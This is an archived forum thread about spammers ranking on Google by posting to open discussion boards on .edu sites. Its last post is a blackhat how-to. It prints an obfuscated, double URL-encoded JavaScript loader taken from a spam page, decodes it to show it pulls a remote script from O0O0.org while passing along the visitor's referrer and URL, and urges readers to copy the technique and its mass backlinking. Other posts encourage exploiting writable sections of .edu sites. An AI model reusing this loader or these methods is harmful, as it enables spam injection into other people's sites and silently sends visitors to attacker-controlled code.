Google getting owned by .edu spam

Status
Not open for further replies.

gdubs12345

New member
Oct 2, 2006
1,712
9
0
I just did a search for ringtones, just to see what sites were ranking well. 9 out of 10 spots are .edu spam. I need to brush up on my bh skills. I bet those guys are raking it in.
 


The problem with that being that you need to be a student (luckily for me, I am one) at a college or have some very, very good connections to even obtain use of a EDU domain.

Nonsense.. the rankings come from their discussion board, thats why the url is [SIZE=-1]name.edu/discuss/msgReader$226

You can try to add your own comment at:

PCITR : Discussion Group

"quick comment" .. it doesn't work for me but there must be an exploit

[/SIZE]
 
i posted about this a while ago here, and no you dont need to be a student, just look at some of the top ranking ones and reverse engineer that and youll see that people are exploiting sections of .edus that you can post to
 
im pretty sure there eventually gonna tone down the weight that they give .edus, but for now edu spam is owning them
 
blackhat tactics

How they do the redirect??

Excellent question. Here's how:

Lets take a look at a current search in Google right now for ringtones...the third one that comes up is a perfect example...look at the source code of that page before it actually redirects (you can hit stop on your browser as soon as you click on it, but before it actually redirects):

<title>Ringtones. Download Ringtones right now!</title>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" >
<meta http-equiv="Content-Language" content="en-us" >
<meta name="robots" content="index, follow" >
<meta name="author" content="Ringtones" >
<meta name="description" content="Get the Ringtones now! Ringtones for mobile cell phones. Download Monophonic and Polyphonic Ringtones. Get ringtones for any phone! Huge range of Ringtones! The latest ringtones!" >
<meta name="keywords" content="Ringtones" >
<script language="Javascript" type="text/javascript">eval(unescape("%65%76%61%6c%28%75%6e%65%73%63%61%70%65%28%22%25%37%36%25%36%31%25%37%32%25%32%30%25%36%34%25%33%64%25%36%65%25%36%35%25%37%37%25%32%30%25%34%34%25%36%31%25%37%34%25%36%35%25%33%62%25%32%30%25%37%32%25%37%61%25%37%61%25%33%64%25%36%34%25%32%65%25%36%37%25%36%35%25%37%34%25%35%34%25%36%39%25%36%64%25%36%35%25%32%38%25%32%39%25%33%62%25%32%30%25%36%34%25%36%66%25%36%33%25%37%35%25%36%64%25%36%35%25%36%65%25%37%34%25%32%65%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%32%38%25%32%32%25%33%63%25%37%33%25%36%33%25%37%32%25%32%32%25%32%62%25%32%32%25%36%39%25%37%30%25%37%34%25%32%30%25%37%33%25%37%32%25%36%33%25%33%64%25%32%37%25%36%38%25%37%34%25%37%34%25%37%30%25%33%61%25%32%66%25%32%66%25%34%66%25%33%30%25%34%66%25%33%30%25%32%65%25%36%66%25%37%32%25%36%37%25%32%66%25%36%61%25%37%33%25%37%32%25%32%65%25%37%30%25%36%38%25%37%30%25%33%66%25%37%35%25%36%39%25%36%34%25%33%64%25%36%32%25%36%62%25%36%32%25%36%35%25%36%66%25%36%34%25%37%38%25%37%35%25%37%35%25%36%39%25%32%36%25%36%37%25%37%32%25%36%66%25%37%35%25%37%30%25%33%64%25%36%37%25%37%32%25%36%66%25%37%35%25%37%30%25%33%31%25%32%36%25%36%62%25%36%35%25%37%39%25%37%37%25%36%66%25%37%32%25%36%34%25%33%64%25%35%32%25%36%39%25%36%65%25%36%37%25%37%34%25%36%66%25%36%65%25%36%35%25%37%33%25%32%36%25%36%66%25%36%62%25%37%37%25%33%64%25%35%32%25%36%39%25%36%65%25%36%37%25%37%34%25%36%66%25%36%65%25%36%35%25%37%33%25%32%36%25%37%32%25%36%35%25%36%36%25%36%35%25%37%32%25%36%35%25%37%32%25%33%64%25%32%32%25%32%62%25%36%35%25%37%33%25%36%33%25%36%31%25%37%30%25%36%35%25%32%38%25%36%34%25%36%66%25%36%33%25%37%35%25%36%64%25%36%35%25%36%65%25%37%34%25%32%65%25%37%32%25%36%35%25%36%36%25%36%35%25%37%32%25%37%32%25%36%35%25%37%32%25%32%39%25%32%62%25%32%32%25%32%36%25%36%38%25%37%32%25%36%35%25%36%36%25%33%64%25%32%32%25%32%62%25%36%35%25%37%33%25%36%33%25%36%31%25%37%30%25%36%35%25%32%38%25%36%63%25%36%66%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%65%25%36%38%25%37%32%25%36%35%25%36%36%25%32%39%25%32%62%25%32%32%25%32%36%25%37%32%25%33%64%25%32%32%25%32%62%25%37%32%25%37%61%25%37%61%25%32%62%25%32%32%25%32%37%25%33%65%25%33%63%25%32%32%25%32%62%25%32%32%25%32%66%25%37%33%25%36%33%25%37%32%25%32%32%25%32%62%25%32%32%25%36%39%25%37%30%25%37%34%25%33%65%25%32%32%25%32%39%22%29%29"))</script>
</head>

<body>
<h1>Ringtones</h1>
1 Gigabyte. floor where I sit, often a frog's croaking is heard. The first time I heard it, my colleagues and I thought a frog was moonlighting as a journalist here. But, it was just the journalist's cell phone's <b>ringtone</b>. <b>Ringtones</b> 'First Dibs' Program With Exclusive <b>Ringtones</b> From Band's Latest Album, Infinity .... known as the Customization Generation. Their cell phones are programmed with customized <b>ringtones</b>, their MP3 players are stocked with customized playlists and their blogs are custom-designed for self-expression. <b>Ringtones</b> Popular Genres to Meet Mobile Consumer Demand. music from the Caribbean in new <b>ringtones</b>, as well as a brand new online community. (PRWeb Mar 7, 2007) Post Comment:Trackback URL: Trackback Ping Form <b>Ringtones</b> <br>
</body>
notice the use of <b> and <h1>
Also look at the javascript - it is URL encoded twice. You can decode it with a tool like this.
you end up with the something like this when it is decoded:
eval(unescape("var d=new Date; rzz=d.getTime(); document.write("<scr"+"ipt src='http://O0O0.org/jsr.php?uid=bkbeodxuui&group=group1&keyword=Ringtones&okw=Ringtones&referer="+escape(document.referrer)+"&href="+escape(location.href)+"&r="+rzz+"'><"+"/scr"+"ipt>")"))
as you can see...it's actually going to O0O0.org
That guy is making a TON of cash doing this.
also take a look at the backlinks for the URL (Google won't show them - but there are other ways of finding them).
Notice there are over 5000 links pointing directly to that URL, all with probably the same anchor text of "ringtones"
With well designed html like that, and tons of backlinks, there's no reason why you can't rank that high too for the same thing, though I would avoid ringtones because Google has caught on and removes these sites daily.
 
Status
Not open for further replies.